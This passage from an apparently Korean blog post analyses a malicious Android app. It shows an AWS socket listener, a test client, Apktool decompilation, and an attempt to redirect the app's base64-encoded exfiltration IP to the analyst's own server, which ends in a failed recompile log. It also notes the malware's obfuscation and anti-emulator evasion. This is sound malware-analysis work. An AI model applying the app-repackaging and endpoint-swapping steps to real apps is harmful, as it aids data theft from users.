&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 57.png&quot; data-origin-width=&quot;1633&quot; data-origin-height=&quot;99&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pEVtG/btsCQ4KbjEI/mu9Wwfbcog91Mu80hZ4En0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pEVtG/btsCQ4KbjEI/mu9Wwfbcog91Mu80hZ4En0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pEVtG/btsCQ4KbjEI/mu9Wwfbcog91Mu80hZ4En0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpEVtG%2FbtsCQ4KbjEI%2Fmu9Wwfbcog91Mu80hZ4En0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1633&quot; height=&quot;99&quot; data-filename=&quot;Untitled 57.png&quot; data-origin-width=&quot;1633&quot; data-origin-height=&quot;99&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7. PUTTY로 접근&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인스턴스 IP입력&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 58.png&quot; data-origin-width=&quot;442&quot; data-origin-height=&quot;209&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JWNKW/btsCLq10uCg/ksOSKzRGI5kKM3OymNJK41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JWNKW/btsCLq10uCg/ksOSKzRGI5kKM3OymNJK41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JWNKW/btsCLq10uCg/ksOSKzRGI5kKM3OymNJK41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJWNKW%2FbtsCLq10uCg%2FksOSKzRGI5kKM3OymNJK41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;442&quot; height=&quot;209&quot; data-filename=&quot;Untitled 58.png&quot; data-origin-width=&quot;442&quot; data-origin-height=&quot;209&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;접근 키 입력&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 59.png&quot; data-origin-width=&quot;676&quot; data-origin-height=&quot;527&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BTCiw/btsCG28ERER/IgU1Ia1afhdIZZfgkqHkEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BTCiw/btsCG28ERER/IgU1Ia1afhdIZZfgkqHkEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BTCiw/btsCG28ERER/IgU1Ia1afhdIZZfgkqHkEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBTCiw%2FbtsCG28ERER%2FIgU1Ia1afhdIZZfgkqHkEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;676&quot; height=&quot;527&quot; data-filename=&quot;Untitled 59.png&quot; data-origin-width=&quot;676&quot; data-origin-height=&quot;527&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OPEN 버튼을 눌러 터미널 진입후 user에 ec2-user로 접속&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;내부 리스너 제작&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에 보내지는 데이터를 확인하기 위한 aws 인스턴스 구현&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://skstp35.tistory.com/383&quot;&gt;https://skstp35.tistory.com/383&lt;/a&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;PUTTY 접속후 인스턴스 내부 PYTHON 설치&lt;/li&gt;
&lt;/ol&gt;
&lt;pre id=&quot;code_1703756939795&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo yum groupinstall 'Development Tools'

sudo yum install openssl-devel bzip2-devel libffi-devel wget

sudo wget https://www.python.org/ftp/python/3.12.0/Python-3.12.0.tgz

tar xvf Python-3.12.0

cd Python-3.12.0

sudo ./configure --enable-optimizations
sudo make altinstall
sudo ln -s /usr/local/bin/python3.12 /bin/python3&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 리스너 코드 제작&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1703756957695&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import socket

host = '0.0.0.0'  # 모든 인터페이스에서 들어오는 연결 수락
port = 8080  # 확인하려는 포트

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(5)

print(f&quot;리스닝: {host}:{port}&quot;)

while True:
    client_socket, addr = server_socket.accept()
    print(f&quot;연결 수신: {addr[0]}:{addr[1]}&quot;)
    data = client_socket.recv(1024)
    print(f&quot;받은 데이터: {data.decode('utf-8')}&quot;)
    client_socket.close()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 접근을 위해 보안그룹 수정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인스턴스에 할당된 보안그룹을 통해 인바운드를 내 ip로 설정해줬다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 60.png&quot; data-origin-width=&quot;1062&quot; data-origin-height=&quot;456&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YhTlV/btsCLoQCdlx/oiMPraz4rgJcd6WjuExvU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YhTlV/btsCLoQCdlx/oiMPraz4rgJcd6WjuExvU0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YhTlV/btsCLoQCdlx/oiMPraz4rgJcd6WjuExvU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYhTlV%2FbtsCLoQCdlx%2FoiMPraz4rgJcd6WjuExvU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1062&quot; height=&quot;456&quot; data-filename=&quot;Untitled 60.png&quot; data-origin-width=&quot;1062&quot; data-origin-height=&quot;456&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 61.png&quot; data-origin-width=&quot;1768&quot; data-origin-height=&quot;579&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Lu3LG/btsCQ35z8f7/IKMzjqbsEkuiwkm2UnB8O1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Lu3LG/btsCQ35z8f7/IKMzjqbsEkuiwkm2UnB8O1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Lu3LG/btsCQ35z8f7/IKMzjqbsEkuiwkm2UnB8O1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLu3LG%2FbtsCQ35z8f7%2FIKMzjqbsEkuiwkm2UnB8O1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1768&quot; height=&quot;579&quot; data-filename=&quot;Untitled 61.png&quot; data-origin-width=&quot;1768&quot; data-origin-height=&quot;579&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 테스트 데이터 전송 코드 생성(로컬에서 진행)&lt;/p&gt;
&lt;pre id=&quot;code_1703756995926&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import socket

# 대상 호스트 및 포트 설정
host = '18.219.96.225'  # 테스트하려는 호스트의 IP 주소 또는 도메인
port = 7771  # 테스트하려는 포트 번호

# 전송할 데이터 설정
data_to_send = b'This is a test packet'  # 전송할 데이터 (바이트 스트링)

# 소켓 생성 및 연결
try:
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client_socket.connect((host, port))
    print(f&quot;연결 성공: {host}:{port}&quot;)

    # 데이터 전송
    client_socket.send(data_to_send)
    print(f&quot;데이터 전송: {data_to_send.decode('utf-8')}&quot;)

    # 연결 종료
    client_socket.close()
    print(&quot;연결 종료&quot;)

except Exception as e:
    print(f&quot;오류 발생: {str(e)}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 접근 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 62.png&quot; data-origin-width=&quot;1795&quot; data-origin-height=&quot;717&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTz03S/btsCOz4WV35/vxPGXDYnLxcXY7KNfOKGvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTz03S/btsCOz4WV35/vxPGXDYnLxcXY7KNfOKGvk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTz03S/btsCOz4WV35/vxPGXDYnLxcXY7KNfOKGvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTz03S%2FbtsCOz4WV35%2FvxPGXDYnLxcXY7KNfOKGvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1795&quot; height=&quot;717&quot; data-filename=&quot;Untitled 62.png&quot; data-origin-width=&quot;1795&quot; data-origin-height=&quot;717&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트 코드로 진행해서 잘 전달되는것을 확인했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;스말리 코드 수정&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 수정을 위해 APK 툴로 악성앱 업로드 이후 DECOMPILE 진행&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 63.png&quot; data-origin-width=&quot;1028&quot; data-origin-height=&quot;565&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dvMN1e/btsCEIbwHzA/2puecPkt3gAWfer8xN6Tz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dvMN1e/btsCEIbwHzA/2puecPkt3gAWfer8xN6Tz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dvMN1e/btsCEIbwHzA/2puecPkt3gAWfer8xN6Tz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdvMN1e%2FbtsCEIbwHzA%2F2puecPkt3gAWfer8xN6Tz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1028&quot; height=&quot;565&quot; data-filename=&quot;Untitled 63.png&quot; data-origin-width=&quot;1028&quot; data-origin-height=&quot;565&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 전송되고 있었던 IP를 BASE64로 인코등한뒤 디컴파일 된 코드내부에서 검색&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 64.png&quot; data-origin-width=&quot;846&quot; data-origin-height=&quot;804&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d2vlYg/btsCMyFvsze/hXM6B2MvWTZmkVXX6MdX31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d2vlYg/btsCMyFvsze/hXM6B2MvWTZmkVXX6MdX31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d2vlYg/btsCMyFvsze/hXM6B2MvWTZmkVXX6MdX31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd2vlYg%2FbtsCMyFvsze%2FhXM6B2MvWTZmkVXX6MdX31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;846&quot; height=&quot;804&quot; data-filename=&quot;Untitled 64.png&quot; data-origin-width=&quot;846&quot; data-origin-height=&quot;804&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 65.png&quot; data-origin-width=&quot;1663&quot; data-origin-height=&quot;689&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tJbrY/btsCKPgFrwV/nnVmhHit1yHE1aVV3K8Fx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tJbrY/btsCKPgFrwV/nnVmhHit1yHE1aVV3K8Fx0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tJbrY/btsCKPgFrwV/nnVmhHit1yHE1aVV3K8Fx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtJbrY%2FbtsCKPgFrwV%2FnnVmhHit1yHE1aVV3K8Fx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1663&quot; height=&quot;689&quot; data-filename=&quot;Untitled 65.png&quot; data-origin-width=&quot;1663&quot; data-origin-height=&quot;689&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 테스트가 완료된 인스턴스 IP주소를 인코딩하여 코드 수정&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 66.png&quot; data-origin-width=&quot;758&quot; data-origin-height=&quot;811&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lvh4G/btsCKSkaVv6/dykyNyR2FZS8Efn1ziJGa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lvh4G/btsCKSkaVv6/dykyNyR2FZS8Efn1ziJGa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lvh4G/btsCKSkaVv6/dykyNyR2FZS8Efn1ziJGa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flvh4G%2FbtsCKSkaVv6%2FdykyNyR2FZS8Efn1ziJGa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;758&quot; height=&quot;811&quot; data-filename=&quot;Untitled 66.png&quot; data-origin-width=&quot;758&quot; data-origin-height=&quot;811&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 67.png&quot; data-origin-width=&quot;761&quot; data-origin-height=&quot;176&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c2MFVj/btsCOGJN3Ux/VVXCljPdElKwIPUWSZOssK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c2MFVj/btsCOGJN3Ux/VVXCljPdElKwIPUWSZOssK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c2MFVj/btsCOGJN3Ux/VVXCljPdElKwIPUWSZOssK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc2MFVj%2FbtsCOGJN3Ux%2FVVXCljPdElKwIPUWSZOssK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;761&quot; height=&quot;176&quot; data-filename=&quot;Untitled 67.png&quot; data-origin-width=&quot;761&quot; data-origin-height=&quot;176&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 68.png&quot; data-origin-width=&quot;1439&quot; data-origin-height=&quot;704&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TbXTE/btsCRiax3I4/Lw3dgE06uirelKNq65r1w1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TbXTE/btsCRiax3I4/Lw3dgE06uirelKNq65r1w1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TbXTE/btsCRiax3I4/Lw3dgE06uirelKNq65r1w1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTbXTE%2FbtsCRiax3I4%2FLw3dgE06uirelKNq65r1w1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1439&quot; height=&quot;704&quot; data-filename=&quot;Untitled 68.png&quot; data-origin-width=&quot;1439&quot; data-origin-height=&quot;704&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;데이터 확인 결론&amp;hellip;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 compile 도중 에러가 발생했고 로그 확인 결과 패키지 이름 및 액티비티 클래스 이름이 올바르지 않을 때 발생하는 오류였다&amp;hellip;. 이 악성앱의 특성상 파일 경로가 난독화여서 compile이 안되는거 같다&amp;hellip;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에러 코드&lt;/p&gt;
&lt;pre id=&quot;code_1703757075138&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;java.exe -jar &quot;D:\wpgur\APK+Easy+Tool+v1.60+Portable\Apktool\apktool_2.8.1.jar&quot; b -f --use-aapt2 -o &quot;D:\wpgur\APK+Easy+Tool+v1.60+Portable\2-Recompiled APKs\certapp.apk&quot; &quot;D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp&quot;
I: Using Apktool 2.8.1
I: Smaling smali folder into classes.dex...
I: Smaling smali_classes2 folder into classes2.dex...
I: Smaling smali_classes3 folder into classes3.dex...
I: Smaling smali_classes4 folder into classes4.dex...
I: Building resources...
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:72: error: attribute 'android:name' in &amp;lt;package&amp;gt; tag must be a valid Java package name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:73: error: attribute 'android:name' in &amp;lt;package&amp;gt; tag must be a valid Java package name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:74: error: attribute 'android:name' in &amp;lt;package&amp;gt; tag must be a valid Java package name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:76: error: attribute 'android:name' in &amp;lt;package&amp;gt; tag must be a valid Java package name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:77: error: attribute 'android:name' in &amp;lt;package&amp;gt; tag must be a valid Java package name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:78: error: attribute 'android:name' in &amp;lt;package&amp;gt; tag must be a valid Java package name.
brut.androlib.exceptions.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [C:\Users\wpgur\AppData\Local\Temp\brut_util_Jar_25674596439101744259128885300908395959.tmp, link, -o, C:\Users\wpgur\AppData\Local\Temp\APKTOOL12674948444528757534.tmp, --package-id, 127, --min-sdk-version, 16, --target-sdk-version, 29, --version-code, 52519135, --version-name, 52.51.91.35, --no-auto-version, --no-version-vectors, --no-version-transitions, --no-resource-deduping, --allow-reserved-package-id, --enable-sparse-encoding, -e, C:\Users\wpgur\AppData\Local\Temp\APKTOOL238376386163913241.tmp, -0, arsc, -I, C:\Users\wpgur\AppData\Local\apktool\framework\1.apk, --manifest, D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml, D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\build\resources.zip]
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:93: error: attribute 'android:name' in &amp;lt;activity&amp;gt; tag must be a valid Java class name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:101: error: attribute 'android:name' in &amp;lt;activity&amp;gt; tag must be a valid Java class name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:102: error: attribute 'android:name' in &amp;lt;activity&amp;gt; tag must be a valid Java class name.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;방어 회피&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부 패키지 명을 난독화 하여 분석을 힘들게 하며 코드 내에서 실행 및 분석되는 것을 방지하기 위한 안티 에뮬레이터 제어와 같은 다양한 방어 회피 기술을 사용하고 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 69.png&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;175&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cEQ9nj/btsCMyZN04Q/T5g2CkrdA07dkLRHVSz1I1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cEQ9nj/btsCMyZN04Q/T5g2CkrdA07dkLRHVSz1I1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cEQ9nj/btsCMyZN04Q/T5g2CkrdA07dkLRHVSz1I1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcEQ9nj%2FbtsCMyZN04Q%2FT5g2CkrdA07dkLRHVSz1I1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1118&quot; height=&quot;175&quot; data-filename=&quot;Untitled 69.png&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;175&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
